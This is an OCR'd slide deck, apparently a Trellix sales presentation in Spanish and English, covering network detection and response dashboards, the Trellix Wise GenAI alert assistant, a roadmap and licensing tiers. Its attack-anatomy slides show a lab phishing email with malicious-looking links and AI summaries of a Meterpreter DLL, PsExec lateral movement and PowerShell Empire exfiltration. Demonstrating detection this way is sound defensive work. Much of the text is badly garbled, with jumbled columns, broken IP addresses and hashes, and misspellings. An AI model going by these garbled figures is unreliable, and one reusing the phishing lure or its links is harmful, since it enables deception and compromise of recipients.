archivos

Non-signature
heuristic-based
analysis

Adobe PDF,
Flash, JavaScript,
MS Office files
inspection

Emujacién
en tiempo
real

Gateway Anti-
Malware
Browser (CAM)
Emulation

Viruses, worms,
adware,
spyware,
riskware
detection

IPS - Tecnologia con firmas + sin firmas

Deteccion
de botnets

0O-day Botnet
and malware
callback
protection

Protocol
anomalies, port
and stealth
scans
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NDR Descubrimiento de activos

LOCAL: 2024-03-11 13:34:51 UTC: 2024-03-11 13:34:51

VISI BI LI DAD Trellix NETWORK INVESTIGATOR Dashboard ~ Search  Alerts  Assefs Cases  MalwareAnalysis  Health Status  Manage~ Tools & (@)
Assets

Show: Last 7 days

Deteccion de
dispositivos
Clasificacion de
dispositivos

SSL/TLS 13
TLC NTP Server 176 ‘Web Server 338 (% Other 74346) ( (] 383 ) (@ Database 4)

Asset Type: Mail Server, Web Server, NTP Server )

75272 Active Devices

entries
Search

IP Address Asset Name Asset type 0s Total Events Last Active

RUCREGRE VI Not Available Mail Server Linux 2 6x 1116 2024-03-11T13:24:48
10.14.1.148 Not Available Mail Server Not Available 85 2024-03-11T05:25:23
10.14.1.152 Not Available Mail Server Not Available a9 2024-03-11T05:25:23
10.14.168 Not Available Mail Server Not Available 108 2024-03-11T05:25:23
198.186.192 203 Not Available Mail Server Not Available 2024-03-11T13:25:33
208.87.35.104 Not Available Mail Server Not Available 2024-03-11T13:21:48
20891.197 101 Not Available Mail Server Not Available 2024-03-11T09:24:48
2089119726 Not Available Mail Server Not Available 2024-03-11T13:23:00
216817925 Not Available Mail Server Not Available 2024-03-11T13:23:45

217121166 Not Available Mail Server Not Available 2024-03-11T13:21:10

TrelliX




NDR Investigacion

LOCAL: 2024-08-21 16:30:57 UTC: 2024-08-21 15:30:57

INVESTIGACION =Trelix | NETWORKINVESTIGATOR D + msttrs  Seac . X
.. 198.186.190.11 ©) OR © E N. NI 4A RE 198.186.190.203 © 08/09/2024 4:21 AM - 08/09/2024 6:21 AM “E“E
Deteccién
contextual
Trellix Threat Intel
Trellix WISE (Gen

Al) (Acceso
destinationlPv4Address destinationTransportPort applicationName Bytes Packets
anticipado) a0z 150196 150200 e e e

198.186.190.12 198.186.190.203 120 Unknown 10.82m8 769K

SUMMARY % DNS x WEB x MAIL % FILES x FLOW ANALYSIS % ALERT x +ADD TAB

First Event: 2024-08-09705:20:30.000Z Last Event: 2024-08-09T05:34:43.000Z Total Records: 1713 Time Elapsed: 0.004 seconds

FILTERS (0)

Top Talkers By Bytes

198.186.190.105 198.186.190.203 120 Unknown 74.09kB 144K
198.186.190.243 198.186.190.203 2000 CiscoSkinny 43.55KB 0.75K
198.186.190.243 198.186.190.203 2000 CiscoSkinny 36.08KB 0.68K
198.186.190.243 198.186.190.203 2000 CiscoSkinny 35.84KB 061K
198.186.190.193 198.186.190.203 2000 CiscoSkinny 3441KB 067K
198.186.190.243 198.186.190.203 2000 CiscoSkinny 33.59KB 0.60K
198.186.190.243 198.186.190.203 CiscoSkinny 31.48KB 058K

198.186.190.105 198.186.190.203 Unknown 30.07KB 053K

Protocol Classification @ Protocol Identifier

TrelliX




NDR Caza

LOCAL: 2024-08-21 16:48:39 UTC: 2024-08-21 15:48:39

CAZA = Trelix NETWORK INVESTIGATOR WBREBION) > Investigations > S¢ & [

SUMMARY x DNS x WEB x MAIL % FILES % FLOW ANALYSIS % ALERT % +ADD TAB

PCAP basado en
eventos

P
Reconstruccion de
Success! 1 event(s) were analyzed and merged (MD5: 4109dc4e8e482c2415f90b3d552091, SHA256: 8daf9509d1d8f20c1192143cc1a4787601b292d55294a72b150135a3be6e33a).

la sesion
Vlsibl I Idad de F T WEB EMAIL ARTIFACTS

cambios en el i
Destination Destination Port Protocol

Source Source Port

sistema operativo T .
Guia de Trellix WISE

Packets (packet undefined of 0)
(GenAI) Packet Details

Frame 1: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits) on interface ®
O Ethernet II, Src: 00:0c:29:e7:2d:74 (00:0c:29:e7:2d:74), Dst: 00:0c:29:37:94:46 (00:0c:29:37:94:46)
Internet Protocol Version 4, Src: 10.14.1.1 (10.14.1.1), Dst: 10.14.65.230 (10.14.65.230)

© User Datagram Protocol, Src Port: 53 (53), Dst Port: 56199 (56199)

O Domain Name System (response)

uoP

Hex Details

00000000 00
00
a1 k -
00 I. -wpad.ash. |

Iselabs. fireeye.c|

s

|..2.1abconsole. . |
|emea-architects. |
|.u>. <...$,

J==

TrelliX




NDR Resp

ACCIONES DE
RESPUESTA

¢ Indicator Exchange

e 3rd party integration
(TIE/DXL)

e CEF/SysLog event
notification

= Trelix NETWORK INVESTIGATOR #WOGRESHON) > Response

> Edit Playbook

SUMMARY x DNS x WEBx MAIL % FILES x. FLOW ANALYSIS % ALERT x R 0460 % +ADD TAB

T Logic settings

/A The condition at top matches first condition and then terminate
Add conditions to the path

If (Path executes only if this condition is satisfied)

Condition 1

Add a name to the condition.

Fileproperties/size

Fileproperties/size

@ condition2
Add a name to the condition.

Fileproperties/size

Transform

183

Conditon Name

Conditon 1

Code for running the....

Fileproperties/size

[ ® Add condition J

@ Eise (Make it an escape route)

© 2023 Trellix

LOCAL: 2024-0821 16:48:39

Trellix Email

Quarantine the device

Trellix Email
Quarantine the device

X

=i

UTC: 2024-08-21 15:48:39

(S

fe o g

Conditon 2

Trellix Email
Create ticket

Trellix Email
Quarantine the device

B
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Arquitectura NDR

G 20

Network
Investigator
(NDR)

NX foy PX for|Packet

East/YVest
Integfrated [_‘_ ‘]
Mode (NX for A %H

North/South)

—

Subnet1

—_—— | ¥— .
| P Y
Network Packet
Core Switch Broker (TAP)
Subnet N

Trellx ~ —

v

DataCenter




Sensores NDR de Trellix

/01T VAN

Trellix Network Detection & Response (NDR) Platform

Trellix NDR Sensor Trellix IPS

Third Part
(NX) “NDR Ready” d

° Enfoque NDR ° Enfoque.de proteccion de la carga e Skyhigh SWG
e HW,virtual,en la nube de trabajo . .
: ) e Firewall / Proxies
e NDR activo e HW, virtual, en la nube
. . e OT Sensors
e Generaciony etiquetado de eventos e |PS completo
e Deteccion MITRE mejorada e NDR activo
e PCAPdirigido e TLSintegrado (4Q)
e Escalable a 40 Gbps e GCeneraciony etiquetado de

eventos
e Escalable a 240 Gbps

Visibilidad, deteccion, investigacion y respuesta multicapa

TrelliX



TrelhX

Alerta de Spoiler

Las siguientes diapositivas pueden incluir
informacion del roadmap, proyecciones u otra
informaciéon que pueda considerarse
prospectiva.
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Trellix NDR Roadmap

Ampliar la visibilidad de las amenazas de red, ampliar las detecciones en toda la cadena de eliminacién y reducir el tiempo de respuesta

@ Explorando

@ Hoy

e New dashboards

o Threats

o Visibility

o MITRE ATT&CK
o Assets

e ML detection porting
Asset discovery and ID
e Global Threat Intelligence
(GTI) - file reputation
e Sensor enhancements:
o High performance
appliances & virtual
o Cloud-native
integrations
o Threat detections - Al &
signature
e Trellix Wise (Beta)

TrelliX

@ Siguiente

Analyst springboard
ML detections
o DNS tunneling exploits
o Lateral movement
from weak indicators
Improved alert enrichment
and summarization
Sensor enhancements
o High performance
upgrades continued
o Cloud-native
integrations continued
o Threat detections - Al &
signature
Trellix Wise - actionable
insights, summaries, and
workflows

Guided SOC workflows
Case management - triage,
investigate, and collaborate
Integrations:

o ePO, HX, XDR

o Chronicle

o Nozomi
ML detections

o Behavioral & traffic

anomalies

o Newly registered domains

o Retrospective
Visibility enhancements
Sensor enhancements

o 100Cbps NDR sensor
Trellix Wise - Continued




Descubrimiento de activos NDR

« = Trelix Dashboard - Asset List

EXPLORAR

Asset List Show: Last 24 Hours ~

Endpoint e et e | et
.

Integ atlon Severity Last Updated Asset name Asset Type IP Address Total Event &

e Trellix ePO | e

e MS Defender

Local-Hostname-10.Au
204.194.22.101

Nest-Hostname
N 200.75.200.2

OT Sensor Integration

Ndr-Hostname-10.Au .
192.168.0.165

Local-Hostname-10.Au
: 204.194.22.101

Risk Profiling

Ndr-Hostname-10.Au
192.168.0.165

Nest-Hostname-24.8K
200.75.200.2

Attack Path Profiling

Local-Hostname-10.Au
X 204.194.22.101

Ndr-Hostname-10.Au .
192.168.0.165

Nest-Hostname-24.8K
200.75.200.2

Ndr-Hostname-10.Au
192.168.0.165

Nest-Hostname-24.8K
200.75.200.2

Nest-Hostname-24.8K
N 200.75.200.2

TrelliX
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EXPLORANDO

e Analista "Trampolin"

e Ataque Alcance de los
ataques desde la
deteccion hasta la
causa raiz en unos
pocos clics
Integracién de
procesos de
endpoints
Grafico de
Inteligencia

TrelliX

Investigacion NDR

= TrelliX | wew

Dashboard
Packet Volume Over Time

Spike in DNS Traffic

Top Alerts ® x Top Risky Conversations
Severity Date Created  Alert Name Action  Severity LastUpdated Source IP
criT 202y, o ection system Alert ® s

Data Breach Warning Alert .
: 198.186.190.11

er
Data Breach Warning Alert
Intrusion Detection System Alert

Alerts By Country Alerts by MITRE ATT&CK

Initial Access

@ % Top Risky Assets

Destination IP Protocol Volume Severity ~ Last Updated

cRIT

Hosts OS vs Severity

Asset Details

Ndr-Hostname-10.Au

Ndr-Hostname-10.Au

| |
=
N/

how: Last 24 Hours v

1P Address
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Investigacion NDR

= TreliX | new

EXPLORANDO

e Analista "Trampolin"

e Ataque Alcance de los
ataques desde la e
deteccién hasta la Alerts Severity: All v Alert MITRE TTP: Undefined Showing & out of 13, results | Updated 5 min ago C
causa raiz en unos S
pocos clics € | SR _ Of ' ‘ L T
Integracién de ’ —— ——
procesos de . » - s “ B
endpoints B o e
Grafico de : s NI L ; TN S fEae e
Inteligencia 3

(© Asset Details how: Last 24 Hours

LT-BCLINE-01 [PC] © i avonts 8 orERATING SYSTEM ocAtion ARENT ACTIVE USIR B uxin RisToRy ® 13y 24 HouR AST EVENT
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NDR Hunting

EXPLORANDO

e Reconstruccion con
un solo clic

e Disparadores de e

cacerl'a Success! 1 evenl(s) were analyzed and merged (MDS: 16ce495¢746a32175966¢17d96241b, SHA256: 112004954 1b7d58ec1d0fce05cc22de2d02c24eeee0514c071413d7aea2d4c)

e Generador de reglas €S WER  EMAL  ARTRACTS Downoadal artfacts
de activos y alertas —

Source Port Destination Destination Port Protocol Stream

e Captura selectiva de
paquetes

55134 128.20.239. 34 ) TP

Packets
Direction  Time Source Destination Protocol
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NDR Response

EXPLORANDO

e Accién automatizada a
través de integraciones
con Splunk y mas.

Orquestacion y
respuesta sin coédigo

= Trelx NETWORK INVESTIGATOR “WGRIEGTON

SUMMARY X  DNSx  WEBX  MALX  FILESx

T Logic settings

A The condition at top matches first condition and then terminate

Add conditions to the path

If (Path executes only if this condition is satisfied)

Condition 1

Add a name to the condition.

Fileproperties/size

Fileproperties/size

@ condition2
Add a name to the condition.

Fileproperties/size

Fileproperties/size

@ Eise (Make it an escape route)

© 2023 Trellix
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x Quarantine the device
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Trellix Email
Quarantine the device
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. Qué es Trellix Wise?

Trellix Wise alivia la fatiga de alertas para las operaciones de seguridad,
lo que permite a los equipos de cualquier nivel de experiencia investigar
el 100% de sus alertas y automatizar la investigacion y la correccion.
Trellix Wise toma decisiones, ofrece orientacion y utiliza la 1A

conversacional para que los usuarios puedan cazar amenazas mientras
aprenden en el trabajo

@ B ® i

See everything Make better, Upskill and close Prove value
that matters faster decisions talent gaps

rapidly

TreliX
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Gen-Al para sus mayores desafios de operaciones de seguridad

“ . . Toma las decisiones Redue las brechas .
matar” la fatiga correctas. mas de talento en Proporciona un
de alertas répidb ciberseguridad rapido ROI
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smartvision-event
September 22nd 2024, 4:59:02 AM

Assels Details Attack Details JEON Intel Trel

*Genersted by Al, verify for sccurscy

Top affected e ies MITRE findings
Remediation steps Knowledge graph

~ Summarize this alert

e .m :024-09-22“]4:59: 02 NX smartvision-event

The alert indicates an "AnomalousUser-Agentidentified” event, where a CertUtil URL Agent was detecied accessing a URL on the host
"me_pcsdl.com" from the source IP 10.14.10.70. This event is mapped fo the MITRE ATT&CK technique T1071.001 {Application Layer Protocol
Web Protocols), which is associated with Command and Control activities. The most important event is the HTTP GET request to the URL "

urlv2/00037540407 4/scenanio/enclile__e3a64b37-4398-4132-b1a0-fb9eese1e3.ixt” on the host "me.pcsdl.com” from the source IP

10.14.10.70. The investigation should start by analyzing the network traffic and the host activities related to this event. Suspicious events include
the use of the "CertUtil URL Agent” user-agent, which is often associated with malicious activities, and the access to a potentially suspicious URL.
The alert was first detected on the i

Key Points:

- The most suspicious process name is "CertUtil URL Agent”, which is often associated with malicious activities.

- The events are refated to a HTTP GET request from the source IP 10.14.10.70 to the URL “fshort-url-

V2/0003754 'scenario/enciile__e3a64b37-4398-4132-b1a0-h9eedibe1e3 txt” on the host "me.pcsdl.com”.

- The use of the "CertUtil URL Agent" user-agent and the access 10 a potentially suspicious URL are the main suspicious and misinterpreted
benign actions implied by the events.

- The alert was first detected on the host with IP 10.14.10.70, which st Id be the focus of the investigation.

- The MITRE ATT&CK mapping to T1071.001 (Application Layer Protocol: Web Protocols) suggests that this event is related to Command and
Conirol activities, which should be further investigated.

TrelliX




Enriquecimiento de alertas con Trellix Wise
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5 rnartwslon-eveljt ; smartvision-event
[September 22nd 2024, 4:59:02 AM September 22nd 2024, 4:59:02 AM

New
Afi New
pesEmlEdle MEEDRES SR [E TEAER Assets Detalls  AftackDetalls  JSON  Intel  Trelix Wise

*Generated by Al, verify for accuracy MITRE_ID : T1071.001 - Application Layer Protocol: Web Protocols
» Details.

Summarize this alert || Top affected entities || MITRE findings

| Remediation steps H Knowledge graph ‘

The alert indicates that an anomalous user-agent, "CertUtil URL Agent", was identified in an HTTP GET request to the domain "me.pcsdl.com”.
‘ Sequence diagram H Know more ‘ This behavior is mapped to the MITRE ATT&CK technique T1071.001 - Application Layer Protocol: Web Protocols, which is part of the Command
and Control tactic.

v Remediation steps
The observed actions indicate that the user-agent "CertUtil URL Agent” was used 1o refrieve a file from the remole server, which could be an
attempt to establish command and control communication. The use of an uncommon user-agent and the retrieval of a file from a potentially
suspicious domain st that this activity may be part of a larger malicious campaign

Based on the provided information, the following remediation steps can be taken: P sugge ST = Parg!

Aaversary Insights:

- The use of an uncommon user-agent, "CertUtil URL Agent", suggests the adversary is attempting o bypass security controls and blend in with

legitimate traffic.

- The retrieval of a file from a polentially suspicious domain, "me_pcsdl.com”, indicates the adversary may be attempting to download additional

malware or receive instructions from a command and conirol server.

1. Investigate the suspicious HTTP request fo the domain "me pcsdl.com” with the user-agent "CertUtil URL Agent”. This could indicate potential
malicious activity, such as command and control communication.

2. Review the network traffic and logs to identify any other similar suspicious activities or connections to the same domain or IP address.

3. Analyze the HTTP response content and payload to determine if any malicious code or data was downloaded. ST

- HTTP GET request to "me.pcsdl.com” with the user-agent "CertUtil URL Agent”
- Retrieval of a file from the remote server with the URL "/shori-url-v2/000375. > 4b37-4398-4132-b1a0-
Th9ee8fbele3 b"

4. Assess the fisk and polential impact of the detected activity, and consider implementing appropriate security controls, such as network
monitoring, web filtering, or endpaint protection, to mitigate the identified threats.

5. Ensure that the affected system(s) are i i and i if necessary, fo prevent further compromise. Related Tactics:

_ _ _ _ - Command and Control: The adversary may be using web protocols to establish command and control communication with a remote server.
6. Review and update the organization's security policies, procedures, and employee security awareness training to address the identified threats

and prevent similar incidents in the future. Procedures Include:

- Use of uncommon user-agents to blend in with legitimate traffic

- Retrieval of files from polentially suspicious domains

- of and confrol ication over web protocols

- Potential download of additional malware or receipt of instructions from a remote server

TrelliX
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smartvision-event smartvision-event
September 22nd 2024, 4:59:02 AM Seplember 22nd 2024, 4:59:02 AM

AsselsDelails  AliackDetals  JSON  Iniel  Trelix Asscls Defals — AttackDetails —— JSON.—Infet el

*Genersted by Al, verdy for accuracy
*Generated by Al, verify for accuracy

Summarize this alert H Top affected entities H MITRE findings
Summarize this alert H Top affected entities H MITRE findings |

steps ‘ ‘ graph ‘

| jation steps H Knowledge graph ‘

‘ Sequence diagram || Know more ‘

‘ Sequence diagram H Know more |

Vv Top affected entities
V  Sequence diagram

The top affected entities based on the provided information are:
*Scroil on graph io zoom and drag fo pan

1. Source IP Address: 10.14.10.70

2 Destination IP Address: 52 223 36 245

3. Destination Port: 80

4. HTTP User-Agent: CertUtil URL Agent

5. HTTP URL: /short-ur-v2/000375404074/scenario/enclle €3a64b37-4398-4132-D1a0-M9ee8e1e3.tt

TrelliX
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Trellix Wise Mejora de la eficiencia

Trellix Wise representa un cambio de paradigma en la forma en que los SOC abordan la
seguridad de los datos y la respuesta a incidentes. Al aprovechar GenAl y el poder de |la
plataforma Trellix, Trellix Wise agiliza el proceso de deteccidn, investigacion y respuesta a
las amenazas. Permite a los equipos de seguridad centrarse en actividades de alto nivel
centradas en el ser humano, al tiempo que permite que las maquinas se encarguen de
las tareas repetitivas y que consumen mucho tiempo. Con Trellix Wise, las organizaciones
pueden mejorar su postura de seguridad de datos, mejorar la eficiencia operativa y
mantenerse a la vanguardia de las amenazas cibernéticas en evolucion

TrelliX
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Anatomia de un ataque

Acceso inicial (enlace malicioso a través de correo electrénico)

Received: from access.ash.selabs.fireeye.com (unknown [18.14.1.2])
by ex82.ash.selabs.fireeye.com (Postfix) with ESMTP id 4XQdwQ314LzhXjt
for <admin@bcc.ash.selabs.fireeye.com>; Sat, 12 Oct 2824 11:48:22 18208 (EET)
Received: from ash.selabs.fireeye.com (ubuntu-master [18.14.1.1])
by access.ash.selabs.fireeye.com (Postfix) with ESMTPS id 54F@1A8089
for <mohamedgamal.negm@ash.selabs.fireeye.com>; Sat, 12 Oct 2024 09:48:22 +9eee (UTC)
Date: Sat, 12 Oct 2024 ©9:48:22 +8080
X-Trellix: Malicious URL Found
From: mohamedgamal .negm@ash.selabs.fireeye.com
Reply-To: mohamedgamal .negm@ash.selabs.fireeye.com
To: mohamedgamal.negm@ash.selabs.fireeye.com
Message-ID: <67@ad45e64c675 8e52ab9d426498c44429@labconsole.mail>
Subject: Click to Win
Mime-Version: 1.8
Content-Type: text/html;
charset=UTF-8
Content-Transfer-Encoding: 7bit

Dears
please Click below Link to Win
ht ://bigfile.mail.naver. com/download?fid=1PK1ax@X14dmK3YwFIY1aAK/HqUmKotwKAgZKA29KoU9HquXKqgdFgKwaxv jaxiSpoUrFxISKAtwMotwKoUXpxbZKzUq)

http://haleassetss. com: 5000/m

Regards
Winning

TrelliX
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Anatomia de un ataque

Comunicacion maliciosa con el servidor

CRIT| Severity Level

12.704k

*Generated by Al, verify for accuracy Terms Of Use

Top affected entities | | MITRE findings Remediation steps | | Knowledge graph | [ Sequence diagram |

~ Know more
Source 1P 1014651550

A Summarize this alert

)24 malware-object
5 R Summary’

07:33.07 AM Affected Assets: 10 The alert indicates a potential malware callback event from the source IP 10.14.65.155 to the destination IP 10.14.101.29 on port 5000. The most important
event is the malware caliback, which shouid be the starting point for the investigation. To investigate further, analysts should analyze the network traffic, process
activities, and any suspicious file or registry changes on the affected hosts. The suspicious events include the malware caliback and any related network

024 smartvision-event connections or process executions
07:22:15AM Affected Assets: 10 Key Points
- The alert was triggered by a malware caliback event, which is a critical security incident
The source IP 10.14.65.155 and the destination IP 10.14.101.29 on port 5000 are the key entities invoived in the malware caliback

24 malware.object The malware detected is named “DTI.Caliback” with a signature 1D of 20000280.

The network traffic and process activities on the affected hosts should be analyzed to understand the full scope of the incident and identify any related
suspicious events.

HIGH
073211 AM flected Assets: 10

malware-caliback

07:2837 AM flected Assets: 10

Alert Details

TrelliX
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Anatomia de un ataque

Descarga de DLL maliciosa

ENEEC EEMINOR B MAJOR

L J MAJOR 5473 -,
12.704k ® umorem
®

*Generated by Al, verify for accuracy Terms Of Use

i Top affected entities MITRE findings

Source IP : 10.14.65.1550

Sequence diagram ‘ Know more

malware-object A~ Summarize this alert c

ted Assets: 10
Summary’

The alert indicates the detection of a maiware object, specifically a DLL file named i, which was and executed on the host. The
smartvision-event most important event is the launch of the "MeterpreterHostLaunched" process, which s a strong indicator of malicious activity. The investigation should start
by analyzing the processes and network activities related to the rundii32.exe process, as it appears to be the main entry point for the malware. The suspicious
events include the numerous Sleep API calls, registry modifications, and DLL loading activities, which are commonly associated with malware behavior. The
host where this was first detected is 10.14.65.155

07:32:15AM Affected Assets: 10

111101202 Key Points
- The rundif32.exe process executed the makicious DLL file “meterpreter.dil", which is a known malware component
- The rundii32.exe process performed numerous Sieep API calls, likely for time-based evasion techniques
- The rundil32.exe process modified several registry keys related to Intemet settings, potentially for proxy and netwark configuration discovery.
- Multiple DLL files were loaded by the rundi32.exe process, including the malicious “meterpreter dir, indicating code injection and process hollowing
activities
§ Assets: 10 - The rundii32.exe process performed system information discovery through WMI queries and AP calls, which are common malware behaviors
- The rundii32.exe process attempted to bypass User Account Control (UAC) mechanisms, a technique often used by malware to gain elevated privieges.
The rundil32.exe process exhibited network activity, including HTTP requests to suspicious domains, indicating the presence of a first-stage downloader
or command-and-control (C2) communication.

07:32.11 AM

malware-callback

smartvision-event

TrelliX
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Anatomia de un ataque

Movimiento lateral

CRITICAL 170
MAJOR 5473 3, MED | Severity Level

12.704K iR 1052
®

*Generated by Al, verify for accuracy Terms Of Use

[ Top aflected entities H MITRE findings [ ge graph

Sequence diagram l Know more
Source IP: 10.14.65.155 8 J

+ Summarize this alert

11 malware-object
HIGH Summary

b is: 10 The aler! indicales suspicious activity related to the use of the Sysinlemals PsExec tool over SMBV2 protocol. The most important event is the transfer of
the PSEXECSVC axe file 1o the remole host 10.14,66.72 over SMB port 445. The investigation should stan by analyzing the events around this file transfer
and the subsequent execution of the PSEXECSVC.exe file on the remote hosl. The suspicious events include the use of administrative shares and the

11072024 smartvision-event polential lateral movement between hosts. The alert was first detected on the host 10.14.65.155.

07:3215AM ts: 10 Key Points
- The transfer of the PSEXECSVC exe file 1o the remole host 10.14.66.72 over SMB port 445 is the most suspicious event.
- The suspicious process names are PSEXESVC exe, which is a Sysintemals tool oflen used for [ateral movement
111072024 malware-object - The events are related as they involve the use of the PSEXESVC exe tool to access the remole host's adminisirative shares, polentially for lateral
movement

073211 AM Affe ets: 10
- The events imply the use of legitimate lools for polentially malicious purposes, such as lateral movemenl and remole access lo the target host

TrelliX




Anatomia de un ataque
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Descarga de DLL para la escalada de privilegios

wicH| Severity Level
12.704k
(©]

*Generated by Al, verify for accuracy Terms Of Use

‘ Top affected entities H MITRE findings || Remediation steps Knowledge graph
Source IP - 10.14.65.155 0 . J L J L J

Sequence diagram [ Know more

1171072024 smartvision-event

O 07:34:00AM Affected Assets A~ Summarize this alert

Summary
The alert was friggered due to the detection of a malicious DLL file named “jes3ZHjHj twudi_0S{7gCAoBEjPRabkeTEC1) diF that was loaded by various
processes, including rundii32 exe, methost exe, and rundliG4_exe. The DLL file exhibited several suspicious behaviors, such as process injection, reflective
code loading, and debugger evasion. The investigation should start by analyzing the activities of the rundii32.exe and methost.exe processes, as they were
the firs! 1o be detecled with the malicious DLL. The suspicious events indude the execution of the malicious DLL, the creation of a Meterpreter host, and the
attempt to bypass User Account Control (UAC)
malware-object Key Points
- The most important event is the detection of the malicious DLL file “Jes3ZHjHj 1wuSi_0517gCA0BEPRabke TEC1J).dI"
The investigation should start by analyzing the activities of the rundi32.exe and methost exe processes, as they were the first to be detected with the
malicious DLL
TR - The suspicious processes include rundii32.exe, methost.exe, and rundliSd. exe, which loaded the malicious DLL
- The suspicious activities include process injection, reflective code loading, debugger evasion, and the attempt to bypass User Account Control (UAC)
OT:3Z15AM \ssels: - The malicious DLL file was first detected on the system when it was loaded by the rundiié4 exe process, which was started by the rundll exe process.

ets: 10

TrelliX
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Comenzando a extenderse lateralmente para mantener la presencia

MED) Severity Level

12.704k o oz
®

*Generated by Al, verify for accuracy Terms Of Use

Top affected entities | | MITRE findings

Sequence diagram Know more

Source IP : 10.14.65.155©

~ Summarize this alert
smartvision-event

07:24:00 AM flected A 10 Summary
The alert indicates suspicious SMB PSEXEC activity, which is a technique used for lateral movement within a network. The most important event is the
SMB PSEXEC output over SMBv2, which suggests an attempt to remotely execute commands on the target host. The investigation should start by analyzing
024 smartvision-event the source and destination IP addresses, as well as the user account involved. The suspicious events include the SMB PSEXEC activity and the polential
Z unauthorized access to the target host
07:33:33AM Affe: \ssels: 10
Key Points:
- The alert is triggered by suspicious SMB PSEXEC aclivity, which is a technique used for lateral movement within a network
- The suspicious process names involved are 'PSEXEC’ and 'NetBIOS-ssn (SMB)'
073307 AM Affected Assets: 10 - The events suggest an attempt to remotely execute commands on the target host (10.14.66.72) from the source host (10.14.65.155) using the user
account ‘mihai.olteanu’.
- The events indicate potential unauthorized access to the target host and the misuse of legitimate administrative tools for malicious purposes.
- The alert was first detected on the NX appliance with the ID "86B75BC3F0CS"

02024 malware-object
HIGH

smartvision-event

07:2215AM Affected Assets: 10

TrelliX




Anatomia de un ataque

/71 11TV NNNNSS

Ejecucion remota

CRITICAL 170

MED) Severity Level

MAJOR 5473

12.704k avoR 022

@
o

*Generated by Al, verify for accuracy Terms Of Use

Top affected entities | | MITRE findings

Sequence diagram | |  Know more
Source IP : 10.14.65.1550

A Summarize this alert c
1102024 smartvision-event

0723400 AM Affected Asset Summary
The alert indicates suspicious activity reiated to the use of the Sysinternals PsExec tool over the SMB/Windows Admin Shares protocol. The most important
event is the transfer of the PSEXECSVC exe file over SMB port 445, which suggests potential lateral movement within the network. The investigation should
1002024 smartvision-event start by analyzing the events around the PSEXECSVC. exe file transfer and the user account involved. The suspicious events include the use of administrative
ey Affected Assels: 10 shares and the execution of a potentially malicious tool The alert was first detected on the host with IP address 10.14.65.155
Key Points
- The transfer of the PSEXECSVC.exe file over SMB port 445 is the most suspicious event, as it indicales the potential use of a remote access tool
10:2024 malware-object - The user account ‘mihai.olteany’ and the workstation *143326-MOLTEANU' are involved in the suspicious activities, which should be further investigated
072307 AM flected Assets: 10 The use of administrative shares (ADMINS) and the execution of the PSEXECSVC exe file suggest potential lateral movement and privilege escalation
attempts.
- The events indicale a potential attempt to gain unauthorized access to the target host (10.14.66.72) using remole services.

smartvision-event

07:3215AM

TrelliX




Anatomia de un ataque
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Exfiltracion de datos

25,000
CRIICAL 400 20,000 woH) Severity Level

MAJOR 64500 15,000

®

*Generated by Al, verify for accuracy

s o s e e e e SO R

| Top affected entities MITRE findings

Alert Category - T1041 / Exfiltration Over C2 Channel © Sequence diagram \ | Know more

Severity Alert Created ~ Summarize this alert

11/10/2024 smartvision-event Summary:
) 192 1684 The alert indicates suspicious PowerShell Empire traffic detected, which is associated with the MITRE ATTSCK technique T1041 - Exfiltration Over C2
Affected ts: 5 Channel. The most important event is the POST request to the flogin/process. php endpoint, which could be an attempt to exfiltrate data over a command and
control (C2) channel. The investigation should start by analyzing the network traffic and identifying the source host (192.168.56.115) and the destination host
(192.163.56.104). The suspicious events include the GET requests to /news. php and /admin/get php, which could be part of the C2 communication. The alert
1 . smartvision-event was first detected on the 192.168.56.115 host
) 192.168.¢
o y Key Points
The most suspicious process names are the ones associated with the PowerShell Empire traffic, such as the GET and POST requests to the /news.php,
fadminiget php, and /login/process. php endpoints
The events are reiated as they all appear to be part of the same C2 communication, with the POST request to flogin/process.php being the most critical
event
-The and po y benign actions implied by the events inciude the use of PowerShell Empire, which is a known malware
framework, and the attempt to exfiltrate data over a C2 channel
- The alert was first detected on the 192.168.56.115 host, which should be the primary focus of the investigation.
192 1684 - The MITRE ATTA&CK technique T1041 - Exfitration Over C2 Channel is the most relevant mapping for this alert, as the events indicate an attempt to
exfitrate data over a C2 channel

11012 smartvision-event
HIGH 192.168.4

smartvision-event

192.1681

) Alert Details

1000 name exfiltration

Technique Exfiltration Over C2 Channel

TrelliX
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IDPS Signatures
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Anomaly Detection - Machine Learning Yes Cloud Cloud

[ Cloud |
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IT Asset Discovery Yes Yes
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Essential
Investigate

- Mdédulo NDR

. Consola NDR

. Sensor NDR (con licencia
paral, 3, 5,10, 20, 40 o 60
Gbps)

. Deteccidon de amenazas

. Acciones de respuesta
nativas

. Detecciones de anomalias
de ML/AI

. |Integraciones de redes de

Paquetes NDR

Advanced
Forensics

. NDR Esencial

. Analisis forense de redes:
retencion de 90 dias

. Paquete Premium Trellix
Wise
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